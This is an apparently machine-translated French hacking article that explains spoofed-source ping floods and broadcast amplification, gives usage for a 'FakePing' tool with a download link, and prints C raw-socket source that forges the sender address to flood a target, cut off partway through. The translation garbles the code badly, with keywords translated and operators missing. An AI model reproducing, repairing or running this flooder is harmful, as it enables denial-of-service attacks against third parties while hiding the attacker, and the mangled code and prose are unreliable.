Ping adresse IP de l'inondation une attaque déguisée



Récemment, un certain nombre de personnes vous appelle à nouveau pour aller avec ce que mort Ping ce site, mais techniquement, quelles que soient les attaques par déni de service, nous avons besoin pour satisfaire à une condition: avec le moins de ressources en échange d'être la plus grande consommation de l'attaquant. Nous aimons aller avec Ping n'est pas seulement étrange: avec la plus grande ressource pour l'autre le moindre mal; est ridicule: la guerre du peuple il ya 50 ans, appartiennent probablement à agir, et dans l'ère d'Internet, pas combien de personnes seront en mesure de.

Aujourd'hui, nous sommes pour la Ping, Ping est d'envoyer un message ICMP (type 8 code 0) à explorer l'existence d'hôtes du réseau un outil, il ya longtemps, une partie du système d'exploitation (par exemple Win95), ne sont pas bien traités Ping grands paquets , résultant en un ping de la mort d'attaques (Ping sac avec une ruine grands les uns les autres ou bien rembourrés réseau), des mises à jour du système d'exploitation, mises à niveau de la bande passante réseau, mises à niveau de matériel informatique, à l'heure actuelle, pratiquement aucun des paquets Ping grandes effet attaque de grande (sauf pour l'attaque distribuée), si nous devons utiliser les paquets Ping pour attaquer d'autres machines, à moins que l'utilisation du protocole TCP / IP ou d'autres caractéristiques de la topologie du réseau de la plupart des amplifié l'intensité des attaques (ce qu'on appelle une rétroaction positive)

Dans des circonstances normales, le processus de Ping est comme ceci:

L'hôte A envoie des paquets ICMP à l'hôte 8,0 B

Hôte B renvoie des messages à l'ICMP 0,0 A d'accueil

Parce que ICMP a pas de lien de suite, afin de nous donner l'occasion, en supposant que l'hôte est maintenant passer pour l'hôte A envoie des paquets ICMP 8,0 paquets C, les résultats ce qui se passerait? De toute évidence, l'hôte d'accueil C B enverra ce rapport est papier à l'abri

Réponse à l'hôte C, la structure suivante:

Erreur C se faisant passer pour la réponse de l'hôte

Un hôte d'accueil --------------------- B ------------------ hôte C

Cette affaire, car l'hôte A seulement besoin de la distribution continue de Ping paquets sans la nécessité de traiter avec le retour de EchoReply, si des efforts ont multiplié les attaques, alors qu'en fait, l'hôte B et C d'accueil sont la cible d'attaque Pi, et ne restera pas sous sa propre marque, est une attaque déguisée deux oiseaux avec une pierre approche.

Méthodes SOCK_RAW IP ci-dessus peut facilement camouflage, mais même élargie à deux reprises, pour le système d'exploitation plus robuste et plus la bande passante, ni beaucoup d'effet, ne nous à nouveau à des sports organisés? Pas bien, laisser l'ennemi à nous pour agrandir Eh bien, TCP / IP dans un concept appelé la diffusion, l'émission que l'on appelle le sens qu'il ya une adresse, n'importe quel hôte dans le réseau local sera envoyé à cette adresse pour recevoir le message (comme l'émission de radio même) si? faire? Oui, si nous nous rendons à l'adresse de diffusion pour envoyer un paquet ICMP ECHO (Ping qui est l'adresse de diffusion ci), le résultat sera un grand nombre de réponse, Ethernet, permettant à chacun de recevoir un message diffusé sera l'hôte de la réponse une ICMP_ECHOREPLY, si vous voulez tester la machine sur Unix Ping LAN adresse de diffusion ce que vous verrez beaucoup de paquet de réponse DUP est de répéter la réponse, le système Windows, pas le genre de résultats parce que le Microsoft Ping programme ne répond pas à plusieurs déballé, le premier paquet reçu après que le système a chuté derrière, et Microsoft ne répond pas à diffuser l'adresse du package par défaut, afin de mieux vous dans un lot d'essai d'accueil LAN unix.

Ici, à puce Vous savez ce que je veux faire maintenant? Hé hé, oui, quand on fait semblant d'être une adresse de diffusion pour attaquer l'hôte envoie Ping temps demande, tous les hôtes dans l'adresse de diffusion sera de répondre à la demande Ping Ceci est équivalent à l'intensité des attaques est N fois! (adresse de diffusion N = pour répondre aux paquets Ping dans le nombre d'hôtes)

Se faisant passer pour l'hôte C ont tort tous les réponse de l'hôte de radio

Une adresse de diffusion hôte --------------------- ======================= == accueil C

J'ai écrit un outil FakePing, vous pouvez Http: / / www.patching.net / fusil / download FakePing.exe.

L'utilisation est FakePing.exe FakeIP TargetIP [PacketSize], si TargetIP est l'adresse de diffusion, puis FakeIP a été ciblé.

Source annoncé comme suit:

typedef struct _iphdr / / définition de la propriété intellectuelle en-tête

(

unsigned char h_verlen; / / 4 degrés 位 premier ministre, IP version 4

unsigned char tos; / / 8 services de type TOS

unsigned total_len court; / / 16 durée médiane totale (octets)

unsigned ident court; / / identification 16-bit

unsigned frag_and_flags court; / / 3 bits de drapeaux

unsigned char ttl; / / 8 temps de survie médian de TTL

unsigned char proto; / / protocole 8-bit (TCP, UDP ou autre)

unsigned contrôle de courte durée; / / 16 checksum 位 en-tête IP

sourceIP unsigned int; / / 32 source numérique adresse IP

destIP unsigned int; / / 32 位 but de l'adresse IP

) IP_HEADER;

/ / Définit ICMP en-tête

typedef struct _ihdr

(

i_type BYTE; / / 8 bits de type

i_code BYTE; / / 8 bits codes

i_cksum USHORT; / / 16 bits de contrôle

USHORT i_id; / / numéro d'identification (habituellement avec un ID de processus que le numéro d'identification)

USHORT i_seq; / / Message numéro de séquence

timestamp ULONG; / / heure

) ICMP_HEADER;

/ / Checksum: Fonctions de contrôle du calcul

checksum USHORT (* buffer USHORT, int taille)

(

unsigned long cksum = 0;

while (taille 1)

(

+ + + Cksum =* tampon;

-= taille sizeof (USHORT);

)

if (taille)

(

+ Cksum = * (* UCHAR) tampon;

)

cksum = (cksum 16) + (cksum & 0xFFFF);

+ Cksum = (cksum 16);

retour (USHORT) (cksum ~);

)

/ / FakePing fonction principale

int main (int argc, char ** argv)

(

int datasize, ErrorCode, comptoir, du pavillon;

Int timeout = 2000, SendSEQ = 0, PacketSize = 32;

SendBuf char [65535] = (0);

wsaData WSADATA;

SockRaw socket = (socket) NULL;

struct sockaddr_in DestAddr;

ip_header IP_HEADER;

icmp_header ICMP_HEADER;

FakeSourceIp char [20], DestIp [20];

/ / Accepter les paramètres de la ligne de commande

if (argc 3)

(

printf ("FakePing par Shotgun

»);

printf ("Ce programme peut faire Ping-inondation à partir FakeIP

»);

printf ("Utilisation d'une IP de diffusion que le FakeIP permettra d'améliorer l'effet

»);

printf ("E-mail:

»);

printf ("Shotgun@Xici.Net

»);

printf ("Site Web:

»);

printf ("http://It.Xici.Net

»);

printf ("http://www.Patching.Net

»);

printf ("Usage:

[FakePing.exe DestinationIp FakeSourceIp PacketSize]

»);

printf ("Exemple:

»);

printf ("FakePing.exe 192.168.15.23 192.168.15.255

»);

printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400

»);

exit (0);

)

strcpy (FakeSourceIp, argv [1]);

strcpy (DestIp, argv [2]);

if (argc 3) PacketSize = atoi (argv [3]);

if (PacketSize 60000)

(

printf ("Erreur! la taille des paquets trop gros, doit 60K

»);

exit (0);

)

printf ("% s maintenant Fake Ping% s en utilisant la taille des paquets =% d octets

"

FakeSourceIp, DestIp, PacketSize);

printf ("Ctrl + C pour quitter

»);

/ / Initialisation de SOCK_RAW

if ((ErrorCode = WSAStartup (MAKEWORD (2,1), et wsaData))! = 0)

(

fprintf (stderr, "WSAStartup a échoué:% d

», ErrorCode);

ExitProcess (STATUS_FAILED);

)

if ((SockRaw WSASocket = (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

(

fprintf (stderr, "WSASocket () a échoué:% d

», WSAGetLastError ());

ExitProcess (STATUS_FAILED);

)

flag = true;

/ / Définit IP_HDRINCL remplir leur propre en-tête IP

ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & drapeau, sizeof (int));

if (ErrorCode == SOCKET_ERROR)

printf ("Set IP_HDRINCL erreur!

»);

__try

(

/ / Définit envoyer timeout

ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));

if (ErrorCode == SOCKET_ERROR)

(

fprintf (stderr, "Impossible de définir envoyer TimeOut:% d

», WSAGetLastError ());

__leave;

)

memset (& DestAddr, 0, sizeof (DestAddr));

DestAddr.sin_family = AF_INET;

DestAddr.sin_addr.s_addr = inet_addr (DestIp);

/ / Remplir en-tête IP

ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / élevé 4 numéro de version IP, le premier ministre du faible niveau de quatre

ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 durée médiane totale (octets)

ip_header.ident = 1;

/ / 16 ID

ip_header.frag_and_flags = 0;

/ / 3 du pavillon

ip_header.ttl = 128;

/ / Temps de 8-bit de survie TTL

ip_header.proto = IPPROTO_ICMP;